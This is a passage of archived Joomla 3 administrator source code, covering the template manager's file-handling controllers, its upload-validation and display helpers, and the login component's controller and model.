			if (stristr(base64_decode($file), $location) != false)
			{
				$file = base64_encode('home');
			}

			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_DELETE_ERROR'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for renaming a file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function renameFile()
	{
		// Check for request forgeries
		$this->checkToken();

		$app     = JFactory::getApplication();
		$model   = $this->getModel();
		$id      = (int) $app->input->get('id', 0, 'int');
		$file    = (string) $app->input->get('file', '', 'cmd');
		$newName = $app->input->get('new_name');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (base64_decode(urldecode($file)) == '/index.php')
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_RENAME_INDEX'), 'warning');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif (!preg_match('/^[a-zA-Z0-9-_]+$/', $newName))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($rename = $model->renameFile($file, $newName))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_FILE_RENAME_SUCCESS'));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $rename;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_RENAME'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for cropping an image.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function cropImage()
	{
		// Check for request forgeries
		$this->checkToken();

		$app   = JFactory::getApplication();
		$id    = (int) $app->input->get('id', 0, 'int');
		$file  = (string) $app->input->get('file', '', 'cmd');
		$x     = $app->input->get('x');
		$y     = $app->input->get('y');
		$w     = $app->input->get('w');
		$h     = $app->input->get('h');
		$model = $this->getModel();

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (empty($w) && empty($h) && empty($x) && empty($y))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_CROP_AREA_ERROR'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($model->cropImage($file, $w, $h, $x, $y))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_CROP_SUCCESS'));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_CROP_ERROR'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for resizing an image.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function resizeImage()
	{
		// Check for request forgeries
		$this->checkToken();

		$app    = JFactory::getApplication();
		$id     = (int) $app->input->get('id', 0, 'int');
		$file   = (string) $app->input->get('file', '', 'cmd');
		$width  = $app->input->get('width');
		$height = $app->input->get('height');
		$model  = $this->getModel();

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if ($model->resizeImage($file, $width, $height))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_RESIZE_SUCCESS'));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_RESIZE_ERROR'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for copying a file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function copyFile()
	{
		// Check for request forgeries
		$this->checkToken();

		$app      = JFactory::getApplication();
		$id       = (int) $app->input->get('id', 0, 'int');
		$file     = (string) $app->input->get('file', '', 'cmd');
		$newName  = $app->input->get('new_name');
		$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
		$model    = $this->getModel();

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (!preg_match('/^[a-zA-Z0-9-_]+$/', $newName))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($model->copyFile($newName, $location, $file))
		{
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_COPY_FAIL'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for extracting an archive file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function extractArchive()
	{
		// Check for request forgeries
		$this->checkToken();

		$app   = JFactory::getApplication();
		$id    = (int) $app->input->get('id', 0, 'int');
		$file  = (string) $app->input->get('file', '', 'cmd');
		$model = $this->getModel();

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if ($model->extractArchive($file))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_EXTRACT_SUCCESS'));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_EXTRACT_FAIL'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}
}
com_templates/controllers/styles.php000060400000006156152455305270014016 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Template styles list controller class.
 *
 * @since  1.6
 */
class TemplatesControllerStyles extends JControllerAdmin
{
	/**
	 * Method to clone and existing template style.
	 *
	 * @return  void
	 */
	public function duplicate()
	{
		// Check for request forgeries
		$this->checkToken();

		$pks = (array) $this->input->post->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$pks = array_filter($pks);

		try
		{
			if (empty($pks))
			{
				throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
			}

			$model = $this->getModel();
			$model->duplicate($pks);
			$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_DUPLICATED'));
		}
		catch (Exception $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		$this->setRedirect('index.php?option=com_templates&view=styles');
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Style', $prefix = 'TemplatesModel', $config = array())
	{
		return parent::getModel($name, $prefix, array('ignore_request' => true));
	}

	/**
	 * Method to set the home template for a client.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function setDefault()
	{
		// Check for request forgeries
		$this->checkToken();

		$pks = (array) $this->input->post->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$pks = array_filter($pks);

		try
		{
			if (empty($pks))
			{
				throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
			}

			// Pop off the first element.
			$id = array_shift($pks);
			$model = $this->getModel();
			$model->setHome($id);
			$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_SET'));
		}
		catch (Exception $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		$this->setRedirect('index.php?option=com_templates&view=styles');
	}

	/**
	 * Method to unset the default template for a client and for a language
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function unsetDefault()
	{
		// Check for request forgeries
		$this->checkToken('request');

		$pks = (array) $this->input->get->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$pks = array_filter($pks);

		try
		{
			if (empty($pks))
			{
				throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
			}

			// Pop off the first element.
			$id = array_shift($pks);
			$model = $this->getModel();
			$model->unsetHome($id);
			$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_UNSET'));
		}
		catch (Exception $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		$this->setRedirect('index.php?option=com_templates&view=styles');
	}
}
com_templates/config.xml000060400000003552152455305270011400 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="templates"
		label="COM_TEMPLATES_SUBMENU_TEMPLATES"
		description="COM_TEMPLATES_CONFIG_FIELDSET_DESC">

		<field
			name="template_positions_display"
			type="radio"
			label="COM_TEMPLATES_CONFIG_POSITIONS_LABEL"
			description="COM_TEMPLATES_CONFIG_POSITIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JENABLED</option>
			<option value="0">JDISABLED</option>
		</field>

		<field
			name="upload_limit" 
			type="number"
			label="COM_TEMPLATES_CONFIG_UPLOAD_LABEL"
			description="COM_TEMPLATES_CONFIG_UPLOAD_DESC"
			default="10"
			extension="com_templates"
		/>

		<field
			name="warning" 
			type="note"
			label="COM_TEMPLATES_CONFIG_SUPPORTED_LABEL"
			description="COM_TEMPLATES_CONFIG_SUPPORTED_DESC"
		/>

		<field
			name="image_formats" 
			type="text"
			label="COM_TEMPLATES_CONFIG_IMAGE_LABEL"
			description="COM_TEMPLATES_CONFIG_IMAGE_DESC"
			default="gif,bmp,jpg,jpeg"
			extension="com_templates"
		/>

		<field
			name="source_formats" 
			type="text"
			label="COM_TEMPLATES_CONFIG_SOURCE_LABEL"
			description="COM_TEMPLATES_CONFIG_SOURCE_DESC"
			default="txt,less,ini,xml,js,php,css,sass,scss"
			extension="com_templates"
		/>

		<field
			name="font_formats" 
			type="text"
			label="COM_TEMPLATES_CONFIG_FONT_LABEL"
			description="COM_TEMPLATES_CONFIG_FONT_DESC"
			default="woff,ttf,otf"
			extension="com_templates"
		/>

		<field
			name="compressed_formats" 
			type="hidden"
			default="zip"
			extension="com_templates"
		/>
	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_templates"
			section="component"
		/>
	</fieldset>
</config>
com_templates/access.xml000060400000001466152455305270011376 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_templates">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_templates/helpers/html/templates.php000060400000005324152455305270014525 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * JHtml helper class.
 *
 * @since  1.6
 */
class JHtmlTemplates
{
	/**
	 * Display the thumb for the template.
	 *
	 * @param   string   $template  The name of the template.
	 * @param   integer  $clientId  The application client ID the template applies to
	 *
	 * @return  string  The html string
	 *
	 * @since   1.6
	 */
	public static function thumb($template, $clientId = 0)
	{
		$client = JApplicationHelper::getClientInfo($clientId);
		$basePath = $client->path . '/templates/' . $template;
		$thumb = $basePath . '/template_thumbnail.png';
		$preview = $basePath . '/template_preview.png';
		$html = '';

		if (file_exists($thumb))
		{
			JHtml::_('bootstrap.tooltip');

			$clientPath = ($clientId == 0) ? '' : 'administrator/';
			$thumb = $clientPath . 'templates/' . $template . '/template_thumbnail.png';
			$html = JHtml::_('image', $thumb, JText::_('COM_TEMPLATES_PREVIEW'));

			if (file_exists($preview))
			{
				$html = '<button type="button" data-target="#' . $template . '-Modal" class="thumbnail pull-left hasTooltip" data-toggle="modal"'
					. ' title="' . JHtml::_('tooltipText', 'COM_TEMPLATES_CLICK_TO_ENLARGE') . '">' . $html . '</button>';
			}
		}

		return $html;
	}

	/**
	 * Renders the html for the modal linked to thumb.
	 *
	 * @param   string   $template  The name of the template.
	 * @param   integer  $clientId  The application client ID the template applies to
	 *
	 * @return  string  The html string
	 *
	 * @since   3.4
	 */
	public static function thumbModal($template, $clientId = 0)
	{
		$client = JApplicationHelper::getClientInfo($clientId);
		$basePath = $client->path . '/templates/' . $template;
		$baseUrl = ($clientId == 0) ? JUri::root(true) : JUri::root(true) . '/administrator';
		$thumb = $basePath . '/template_thumbnail.png';
		$preview = $basePath . '/template_preview.png';
		$html = '';

		if (file_exists($thumb))
		{
			if (file_exists($preview))
			{
				$preview = $baseUrl . '/templates/' . $template . '/template_preview.png';
				$footer = '<button type="button" class="btn" data-dismiss="modal">'
					. JText::_('JTOOLBAR_CLOSE') . '</button>';

				$html .= JHtml::_(
					'bootstrap.renderModal',
					$template . '-Modal',
					array(
						'title'  => JText::_('COM_TEMPLATES_BUTTON_PREVIEW'),
						'height' => '500px',
						'width'  => '800px',
						'footer' => $footer,
					),
					$body = '<div><img src="' . $preview . '" style="max-width:100%" alt="' . $template . '"></div>'
				);
			}
		}

		return $html;
	}
}
com_templates/helpers/template.php000060400000012414152455305270013374 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Template Helper class.
 *
 * @since  3.2
 */
abstract class TemplateHelper
{
	/**
	 * Checks if the file is an image
	 *
	 * @param   string  $fileName  The filename
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public static function getTypeIcon($fileName)
	{
		// Get file extension
		return strtolower(substr($fileName, strrpos($fileName, '.') + 1));
	}

	/**
	 * Checks if the file can be uploaded
	 *
	 * @param   array   $file  File information
	 * @param   string  $err   An error message to be returned
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public static function canUpload($file, $err = '')
	{
		$params = JComponentHelper::getParams('com_templates');

		if (empty($file['name']))
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_UPLOAD_INPUT'), 'error');

			return false;
		}

		// Media file names should never have executable extensions buried in them.
		$executable = array(
			'exe', 'phtml','java', 'perl', 'py', 'asp','dll', 'go', 'jar',
			'ade', 'adp', 'bat', 'chm', 'cmd', 'com', 'cpl', 'hta', 'ins', 'isp',
			'jse', 'lib', 'mde', 'msc', 'msp', 'mst', 'pif', 'scr', 'sct', 'shb',
			'sys', 'vb', 'vbe', 'vbs', 'vxd', 'wsc', 'wsf', 'wsh'
		);
		$explodedFileName = explode('.', $file['name']);

		if (count($explodedFileName) > 2)
		{
			foreach ($executable as $extensionName)
			{
				if (in_array($extensionName, $explodedFileName))
				{
					$app = JFactory::getApplication();
					$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_EXECUTABLE'), 'error');

					return false;
				}
			}
		}

		jimport('joomla.filesystem.file');

		if ($file['name'] !== JFile::makeSafe($file['name']) || preg_match('/\s/', JFile::makeSafe($file['name'])))
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILENAME'), 'error');

			return false;
		}

		$format = strtolower(JFile::getExt($file['name']));

		$imageTypes   = explode(',', $params->get('image_formats'));
		$sourceTypes  = explode(',', $params->get('source_formats'));
		$fontTypes    = explode(',', $params->get('font_formats'));
		$archiveTypes = explode(',', $params->get('compressed_formats'));

		$allowable = array_merge($imageTypes, $sourceTypes, $fontTypes, $archiveTypes);

		if ($format == '' || $format == false || (!in_array($format, $allowable)))
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILETYPE'), 'error');

			return false;
		}

		if (in_array($format, $archiveTypes))
		{
			$zip = new ZipArchive;

			if ($zip->open($file['tmp_name']) === true)
			{
				for ($i = 0; $i < $zip->numFiles; $i++)
				{
					$entry     = $zip->getNameIndex($i);
					$endString = substr($entry, -1);

					if ($endString != DIRECTORY_SEPARATOR)
					{
						$explodeArray = explode('.', $entry);
						$ext          = end($explodeArray);

						if (!in_array($ext, $allowable))
						{
							$app = JFactory::getApplication();
							$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_UNSUPPORTED_ARCHIVE'), 'error');

							return false;
						}
					}
				}
			}
			else
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_OPEN_FAIL'), 'error');

				return false;
			}
		}

		// Max upload size set to 2 MB for Template Manager
		$maxSize = (int) ($params->get('upload_limit') * 1024 * 1024);

		if ($maxSize > 0 && (int) $file['size'] > $maxSize)
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILETOOLARGE'), 'error');

			return false;
		}

		$xss_check = file_get_contents($file['tmp_name'], false, null, -1, 256);
		$html_tags = array(
			'abbr', 'acronym', 'address', 'applet', 'area', 'audioscope', 'base', 'basefont', 'bdo', 'bgsound', 'big', 'blackface', 'blink', 'blockquote',
			'body', 'bq', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'comment', 'custom', 'dd', 'del', 'dfn', 'dir', 'div',
			'dl', 'dt', 'em', 'embed', 'fieldset', 'fn', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html',
			'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'keygen', 'kbd', 'label', 'layer', 'legend', 'li', 'limittext', 'link', 'listing',
			'map', 'marquee', 'menu', 'meta', 'multicol', 'nobr', 'noembed', 'noframes', 'noscript', 'nosmartquotes', 'object', 'ol', 'optgroup', 'option',
			'param', 'plaintext', 'pre', 'rt', 'ruby', 's', 'samp', 'script', 'select', 'server', 'shadow', 'sidebar', 'small', 'spacer', 'span', 'strike',
			'strong', 'style', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'tt', 'ul', 'var', 'wbr', 'xml',
			'xmp', '!DOCTYPE', '!--'
		);

		foreach ($html_tags as $tag)
		{
			// A tag is '<tagname ', so we need to add < and a space or '<tagname>'
			if (stristr($xss_check, '<' . $tag . ' ') || stristr($xss_check, '<' . $tag . '>'))
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNIEXSS'), 'error');

				return false;
			}
		}

		return true;
	}
}
com_templates/helpers/templates.php000060400000010551152455305270013557 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Templates component helper.
 *
 * @since  1.6
 */
class TemplatesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_TEMPLATES_SUBMENU_STYLES'),
			'index.php?option=com_templates&view=styles',
			$vName == 'styles'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_TEMPLATES_SUBMENU_TEMPLATES'),
			'index.php?option=com_templates&view=templates',
			$vName == 'templates'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_templates');
	}

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));

		return $options;
	}

	/**
	 * Get a list of filter options for the templates with styles.
	 *
	 * @param   mixed  $clientId  The CMS client id (0:site | 1:administrator) or '*' for all.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 */
	public static function getTemplateOptions($clientId = '*')
	{
		// Build the filter options.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		$query->select($db->quoteName('element', 'value'))
			->select($db->quoteName('name', 'text'))
			->select($db->quoteName('extension_id', 'e_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('template'))
			->where($db->quoteName('enabled') . ' = 1')
			->order($db->quoteName('client_id') . ' ASC')
			->order($db->quoteName('name') . ' ASC');

		if ($clientId != '*')
		{
			$query->where($db->quoteName('client_id') . ' = ' . (int) $clientId);
		}

		$db->setQuery($query);
		$options = $db->loadObjectList();

		return $options;
	}

	/**
	 * TODO
	 *
	 * @param   string  $templateBaseDir  TODO
	 * @param   string  $templateDir      TODO
	 *
	 * @return  boolean|JObject
	 */
	public static function parseXMLTemplateFile($templateBaseDir, $templateDir)
	{
		$data = new JObject;

		// Check of the xml file exists
		$filePath = JPath::clean($templateBaseDir . '/templates/' . $templateDir . '/templateDetails.xml');

		if (is_file($filePath))
		{
			$xml = JInstaller::parseXMLInstallFile($filePath);

			if ($xml['type'] != 'template')
			{
				return false;
			}

			foreach ($xml as $key => $value)
			{
				$data->set($key, $value);
			}
		}

		return $data;
	}

	/**
	 * TODO
	 *
	 * @param   integer  $clientId     TODO
	 * @param   string   $templateDir  TODO
	 *
	 * @return  boolean|array
	 *
	 * @since   3.0
	 */
	public static function getPositions($clientId, $templateDir)
	{
		$positions = array();

		$templateBaseDir = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
		$filePath = JPath::clean($templateBaseDir . '/templates/' . $templateDir . '/templateDetails.xml');

		if (is_file($filePath))
		{
			// Read the file to see if it's a valid component XML file
			$xml = simplexml_load_file($filePath);

			if (!$xml)
			{
				return false;
			}

			// Check for a valid XML root tag.

			// Extensions use 'extension' as the root tag.  Languages use 'metafile' instead

			if ($xml->getName() != 'extension' && $xml->getName() != 'metafile')
			{
				unset($xml);

				return false;
			}

			$positions = (array) $xml->positions;

			if (isset($positions['position']))
			{
				$positions = (array) $positions['position'];
			}
			else
			{
				$positions = array();
			}
		}

		return $positions;
	}
}
com_login/controller.php000060400000005316152455305270011417 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Login Controller.
 *
 * @since  1.5
 */
class LoginController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		/*
		 * Special treatment is required for this component, as this view may be called
		 * after a session timeout. We must reset the view and layout prior to display
		 * otherwise an error will occur.
		 */
		$this->input->set('view', 'login');
		$this->input->set('layout', 'default');

		// For non-html formats we do not have login view, so just display 403 instead
		if ($this->input->get('format', 'html') !== 'html')
		{
			throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		parent::display();
	}

	/**
	 * Method to log in a user.
	 *
	 * @return  void
	 */
	public function login()
	{
		// Check for request forgeries.
		$this->checkToken('request');

		$app = JFactory::getApplication();

		$model = $this->getModel('login');
		$credentials = $model->getState('credentials');
		$return = $model->getState('return');

		$result = $app->login($credentials, array('action' => 'core.login.admin'));

		if ($result && !($result instanceof Exception))
		{
			// Only redirect to an internal URL.
			if (JUri::isInternal($return))
			{
				// If &tmpl=component - redirect to index.php
				if (strpos($return, 'tmpl=component') === false)
				{
					$app->redirect($return);
				}
				else
				{
					$app->redirect('index.php');
				}
			}
		}

		$this->display();
	}

	/**
	 * Method to log out a user.
	 *
	 * @return  void
	 */
	public function logout()
	{
		$this->checkToken('request');

		$app = JFactory::getApplication();

		$userid = $this->input->getInt('uid', null);

		if ($app->get('shared_session', '0'))
		{
			$clientid = null;
		}
		else
		{
			$clientid = $userid ? 0 : 1;
		}

		$options = array(
			'clientid' => $clientid,
		);

		$result = $app->logout($userid, $options);

		if (!($result instanceof Exception))
		{
			$model  = $this->getModel('login');
			$return = $model->getState('return');

			// Only redirect to an internal URL.
			if (JUri::isInternal($return))
			{
				$app->redirect($return);
			}
		}

		parent::display();
	}
}
com_login/login.php000060400000001025152455305270010335 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_login
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
$task = $input->get('task');

if ($task != 'login' && $task != 'logout')
{
	$input->set('task', '');
	$task = '';
}

$controller = JControllerLegacy::getInstance('Login');
$controller->execute($task);
$controller->redirect();
com_login/login.xml000060400000001577152455305270010362 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_login</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_LOGIN_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>controller.php</filename>
			<filename>login.php</filename>
			<folder>views</folder>
			<folder>models</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_login.ini</language>
			<language tag="en-GB">language/en-GB.com_login.sys.ini</language>
		</languages>
	</administration>
</extension>

com_login/models/login.php000060400000010640152455305270011623 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_login
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Login Model
 *
 * @since  1.5
 */
class LoginModelLogin extends JModelLegacy
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$input = JFactory::getApplication()->input->getInputForRequestMethod();

		$credentials = array(
			'username'  => $input->get('username', '', 'USERNAME'),
			'password'  => $input->get('passwd', '', 'RAW'),
			'secretkey' => $input->get('secretkey', '', 'RAW'),
		);

		$this->setState('credentials', $credentials);

		// Check for return URL from the request first.
		if ($return = $input->get('return', '', 'BASE64'))
		{
			$return = base64_decode($return);

			if (!JUri::isInternal($return))
			{
				$return = '';
			}
		}

		// Set the return URL if empty.
		if (empty($return))
		{
			$return = 'index.php';
		}

		$this->setState('return', $return);
	}

	/**
	 * Get the administrator login module by name (real, eg 'login' or folder, eg 'mod_login').
	 *
	 * @param   string  $name   The name of the module.
	 * @param   string  $title  The title of the module, optional.
	 *
	 * @return  object  The Module object.
	 *
	 * @since   1.7.0
	 */
	public static function getLoginModule($name = 'mod_login', $title = null)
	{
		$result = null;
		$modules = self::_load($name);
		$total = count($modules);

